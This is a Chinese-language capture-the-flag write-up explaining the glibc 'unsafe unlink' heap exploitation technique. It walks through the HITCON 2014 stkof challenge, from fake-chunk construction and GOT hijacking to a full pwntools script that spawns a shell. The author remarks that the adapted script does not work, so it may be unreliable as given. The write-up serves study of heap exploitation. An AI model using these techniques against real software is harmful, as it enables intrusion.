Heap Exploitation - unsafe unlink

原理

unlink是glibc里的一个宏,是一段代码片段,通常在内存管理系统中使用。为了避免堆内存过度碎片化,当一个非fast bins的堆块被释放时,libc会查看前后堆块是否是释放状态,是就取出合并,这就是unlink。

unlink主要是从双向链表结构中移除一个节点,该节点通常用于跟踪空闲内存块。目的是将某一空闲的chunk从其所处的bin中脱链。在malloc_consolidate()函数中将fast bins中的空闲chunk,整理到unsorted bins中,在malloc()函数中用于将unsorted bins中的空闲chunk整理到small bins中或者large bins中,以及在malloc()中获得堆空间时,均可能调用unlink()宏。

在执行free()时会执行int_free()函数,int_free()函数中调用了unlink宏

#define unlink(AV, P, BK, FD)
static void _int_free (mstate av, mchunkptr p, int have_lock)
free(){
_int_free(){
unlink();
}
}

unlink源码:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

在源码中,首先会通过 FD = P->fd; BK = P->bk;来将前向和后向指针分别存储。然后进行错误检查,执行FD->bk = BK; BK->fd = FD;来调整P节点前后的指针,绕过P来移除P节点。之后会检查节点的大小,对更大的节点有额外的检查和调整方法,由于large bins中的一个bin会包含不同大小的chunk,所以还会额外处理fd_nextsize和bk_nextsize。

ulink过程图示:

unlink_smallbin_intro

利用

简单来说,由于C语言通过计算偏移来寻找相应的结构体成员,就算堆块的某些成员变量被篡改,libc仍然会认为该位置就是原来的数据,那么就可以通过unlink这一操作来指向伪造的fake fd和fake bk。

这里简单说一下原理,然后通过复现例题理解。

检查机制

在unlink前会检查

FD->bk != P || BK->fd != P

简单来说就是检查前置结点的fd指针和后置结点的bk指针指向的是否都是该结点

条件

  1. UAF(Use After Free),可修改 free 状态下 small bins 或是 unsorted bins 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行UAF的chunk

思路

虽然有检查机制,但是还是比较容易绕过的,设指向可 UAF chunk 的指针的地址为 ptr

  • 修改 fd 为 ptr - 0x18

  • 修改 bk 为 ptr - 0x10

  • 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

示例复现

2014 HITCON stkof

静态分析

检查保护,64位开启NX和Canary

函数逻辑就是,检查输入的数字,输入数字执行对应的函数。

输入1进入函数,会申请一个对应输入大小的chunk,并将chunk的内存指针存储到一个变量中,判断chunk是否创建成功,成功就会将该变量放在bss段的一个未初始化变量中,并输出成功分配的内存块数量。

fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
globals[++cnt] = v2;
printf("%d\n", (unsigned int)cnt);
return 0LL;

输入2进入对应函数,首先接收输入,判断对应输入下边的位置是否有chunk,如果有就将再次接收输入,使用fread函数将输入的字符写入地址处,如果输入一个不限制长度的字符串就会造成堆溢出。

fgets(s, 16, stdin);
idx = atol(s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
fgets(s, 16, stdin);
size = atoll(s);
ptr = globals[idx];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}

输入3会进入释放chunk的函数,如果输入的下标有被创建的chunk就释放。

v3 = __readfsqword(0x28u);
fgets(s, 16, stdin);
idx = atol(s);
if ( idx > 0x100000 )
return 0xFFFFFFFFLL;
if ( !globals[idx] )
return 0xFFFFFFFFLL;
free(globals[idx]);
globals[idx] = 0LL;

动态分析

1

先申请一个chunk,查看chunk可以看到有四个

image-20231130183608342

第二个是申请的chunk,可以看到申请了0x20的空间(user data 10 + prev_size 8 + size 8),显示0x21是因为prev_inuse标志位为1。能看到还有另外三个chunk,最后一个size很大的是top chunk。

整个堆会在初始化后被当成一个free chunk,成为top chunk,每次用户申请内存时,如果bins中没有合适的chunk,就会从top chunk中进行划分,如果top chunk的大小不够,则调用brk()拓展堆的大小。然后从新的top chunk中进行划分。

第一个和第三个实际上是由于程序本身没有进行setbuf操作,所以在初次使用fget()和printf()执行输入输出时会申请缓冲区。

那这样就不能利用chunk1进行操作了,chunk1是被两个输入输出申请的chunk包住了,没法利用,也不好利用,不如直接再申请两个chunk2和chunk3,这时候再申请的两个chunk就是连在一起的了,就方便操作,然后用chunk2来溢出到chunk3,执行流程就比较好控制了。

接下来需要分析一下溢出的效果是什么,如何控制。

2

之前知道在编辑时可以构造堆溢出,比如申请三个chunk,编辑第二个,让第二个溢出到第三个。

申请三个chunk分别为chunk1、chunk2、chunk3,编辑第二个chunk,将其内容改为48字节大小的内容。

image-20231212204344316

能够看到chunk3消失了

image-20231212204053662

查看chunk2地址的内容可知,未修改前chunk2地址的内容:

image-20231212204127065

修改后chunk2地址的内容

image-20231212204220845

其实就是由于溢出,chunk3的prev_size和size被修改了,导致了识别的上的问题(可能),不过查看0x602140处存放chunk地址的数组发现chunk3也消失了,此处还没弄清楚,应该也是原来指向的地址被修改了导致的。但是确定了可以利用溢出来修改chunk3的chunk头信息。

实际做题中,第一个chunk的大小无所谓,因为用不到。第二个chunk最好是0x30,第三个不能小于0x80,防止free掉被放到fast bins中。

3

利用方法,简单来说就是在chunk2内的data部分来伪造一个chunk,伪造为释放状态,利用堆溢出修改后一个chunk也就是这里的chunk3的prev_size和size,将chunk3的prev_size修改为伪造的chunk大小,并将size的P位置0,以此来绕过检查并触发unlink,触发unsafe unlink。

image-20231214175058501

构造fake chunk:

  • prev_size:prev_size这里实际上与chunk2相关,但是是不需要合并chunk2的,所以prev_size置零即可
  • size:fake chunk只需要fd和bk来完成unlink,而由于需要伪造为释放状态,即P位为0,所以为0x20

接下来要构造fake chunk的fd和bk。

在这里需要将0x602140的作为一个chunk来看,将其作为BK。将0x602138处的数据也作为chunk来看,也就是FD。

image-20231216102410933

让fake chunk的fd指针指向0x602140,并让bk指针指向0x602138。

为什么要这么设置呢?前面说过:

由于C语言通过计算偏移来寻找相应的结构体成员,就算堆块的某些成员变量被篡改,libc仍然会认为该位置就是原来的数据

在源码中:

//取要脱链结点的fd指针和bk指针
FD = P->fd;
BK = P->bk;
//检查
FD->bk == P && BK->fd == P
//脱链操作
FD->bk = BK;
BK->fd = FD;

也就是说,bk指针是通过 + 0x18来找到的,fd指针是通过起始地址 + 0x10来找到的,二者均通过计算偏移来寻找成员,那么就可以将上面的代码理解为:

P->fd->bk == P <=> *(p->fd+0x18) == P
P->bk->fd == P <=> *(p->bk+0x10) == P

那么就可以设置fd和bk如下:

P->fd = &P-0x18
P->bk = &P-0x10

这样实际上就完成了对检查的绕过,利用偏移寻找结构体成员时,找到的仍旧是正确的结点,但是fd和bk指向的是bss段某处的地址。

这样的话就可以利用已有条件,将fd和bk修改指向为可以控制的某段空间,在这里就是已知的bss段。

前面分析源码已知了global数组的地址为0x602140,就可以按以下进行设置:

target = 0x602140 + 0x10    //global[2]
fd = target - 0x18 //P->fd指向0x602138
bk = target - 0x10 //P->bk指向0x602140

image-20231216102911951

修改chunk2后,fake chunk就与FD和BK构造了一个双向链表。

image-20231216103127670

第一个payload:

payload1 = p64(0) + p64(0x30)
#fake chunk的prev_size和size,size的P位置0
payload1 += p64(fd) + p64(bk)
#设置fd和bk
payload1 += "a" * 0x10
#填充剩余的空间
payload1 += p64(0x30) + p64(0x90)
#修改chunk3的prev_size和size分别为fake chunk的大小和size的P位置0

修改后效果

image-20231217182807698

查看chunk2和chunk3

image-20231217183154218

4

构造好了fake chunk就要想办法触发unlink,这里再次说明一下unlink是如何实现的。

在上面构造了fake chunk,以此来实现绕过检测,并将bk和fd指针指向可写的bss段上,并且现在chunk3的prev_size已经被设置为了fake chunk的大小,size的prev_inuse也被置0。此时free掉chunk3,glibc检查chunk3的chunk头就会发现是free状态,将上一个chunk也就是fake chunk拿出来进行合并。

fake chunk就会被从刚才构造的双向链表中摘除,摘除过程中会执行FD->bk = BK; BK->fd =FD;

image-20231216104136377

实际上改变的是同一处的地址,但是由于先后顺序,最终被改为0x602138,此时我们就控制了0x602138到0x602150之间,可以在这段区域来继续进行操作。

free掉chunk3即可,gdb调试看一下。

image-20231217183513869

成功控制了这段内存区域。

5

控制这段区域后,由于该题没有后门,需要泄露libc基址。

而由于之前按将原本global数组中存放chunk2地址的位置改写为了0x602138,所以实际上如果修改chunk2的内容是不会写入到chunk2内的,会写到0x602138处。

那么就可以通过修改chunk2来对global数组来进行部署函数的GOT表地址,再次修改global数组时就会修改GOT表中的真实地址。实现GOT表劫持。

第二个payload:

payload2 = 'a' * 0x8
payload2 += p64(free_got) + p64(puts_got) + p64(atoi_got)

布置好后,由于chunk0处为free函数的GOT表地址,可以将其修改为put函数的PLT地址,这样调用free就会调用puts函数。如果释放chunk1,就会实现:

free(chunk1) -> free(puts_got) -> puts(puts_got)

将puts函数的真实地址输出。并利用真实地址计算偏移得出system函数的真实地址和binsh的真实地址。

最后还是老一套,将chunk2的atoi函数GOT地址改为system函数地址,调用atoi就会调用system函数,等待输入时输入/bin/sh地址,就是调用system(/bin/sh),getshell。

EXP

#!usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

io = process("./stkof")
elf = ELF("./stkof")
libc = ELF("./libc.so.6")

context.terminal = ["gnome-terminal", "-x", "sh", "-c"]
gdb.attach(io)

def show():
pass

def malloc_chunk(value):
io.sendline("1")
io.sendline(str(value))
io.recvuntil('OK\n')


def edit(idx, content):
io.sendline("2")
io.sendline(str(idx))
io.sendline(str(len(content)))
io.sendline(content)
io.recvuntil('OK\n')

def free_chunk(idx):
io.sendline("3")
io.sendline(str(idx))

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

malloc_chunk(0x100)
malloc_chunk(0x30)
malloc_chunk(0x80)
raw_input("after malloc three chunks......")

payload1 = p64(0) + p64(0x30)
payload1 += p64(fd) + p64(bk)
payload1 += "a" * 0x10
payload1 += p64(0x30) + p64(0x90)

edit(2, payload1)
raw_input("after edit chunk2...")

free_chunk(3)
raw_input("after free chunk3...")

io.recvuntil("OK\n")

free_got = elf.got["free"]
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
puts_plt = elf.plt["puts"]

payload2 = 'a' * 0x8
payload2 += p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, payload2)
raw_input("after edit global...")

payload3 = p64(puts_plt)
edit(0,payload3)
raw_input("after edit chunk0...")

free_chunk(1)
raw_input("after free chunk1...")
puts_addr = u64(io.recvuntil("\x7f")[-8:].ljust(8, "\x00"))
log.success('puts addr: ' + hex(puts_addr))

puts_offset = libc.symbols["puts"]
system_offset = libc.symbols["system"]
binsh_offset = libc.search('/bin/sh').next()

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + next(libc.search('/bin/sh'))

log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))

payload4 = p64(system_addr)
edit(2,payload4)
raw_input("after edit chunk2...")

io.send(p64(binsh_addr))
io.interactive()
#改的别人的EXP,打不通就离谱,爬了

参考